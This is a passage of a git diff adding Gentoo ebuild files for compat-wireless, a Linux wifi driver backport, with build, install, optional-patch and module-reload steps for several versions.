/usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild new file mode 100644 index 00000000..4a68c99f --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild @@ -0,0 +1,155 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild new file mode 100644 index 00000000..ce00dd28 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild @@ -0,0 +1,179 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+alx ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-zc-grsec.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + if use alx; then + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + else + sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver" + fi + + if use ath9k_htc; then + sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver" + else + sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver" + fi + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild new file mode 100644 index 00000000..ba1fd8f0 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild @@ -0,0 +1,181 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 +inherit linux-mod linux-info versionator eutils + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+alx +ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}/${MY_P}-${CRAZY_VERSIONING}" +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch + use pax_kernel && epatch "${FILESDIR}"/${P}-grsec-warnings.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + if use noleds; then + sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk + epatch "${FILESDIR}/leds-disable-strict-${PV}.patch" + fi + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + if use alx; then + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + else + sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver" + fi + + if use ath9k_htc; then + sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver" + else + sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver" + fi + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild new file mode 100644 index 00000000..8a38ec13 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild @@ -0,0 +1,179 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+alx +ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-zc-grsec.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + if use alx; then + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + else + sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver" + fi + + if use ath9k_htc; then + sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver" + else + sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver" + fi + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and 